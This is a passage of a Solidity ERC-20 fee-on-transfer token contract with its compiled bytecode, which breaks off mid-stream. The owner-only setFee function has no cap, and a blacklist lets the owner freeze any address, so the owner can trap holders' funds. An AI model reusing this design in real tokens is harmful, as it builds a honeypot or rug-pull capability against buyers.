sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600581526020017f4b454e4e59000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f4b454e4e59000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b600060208201905081810360008301526135408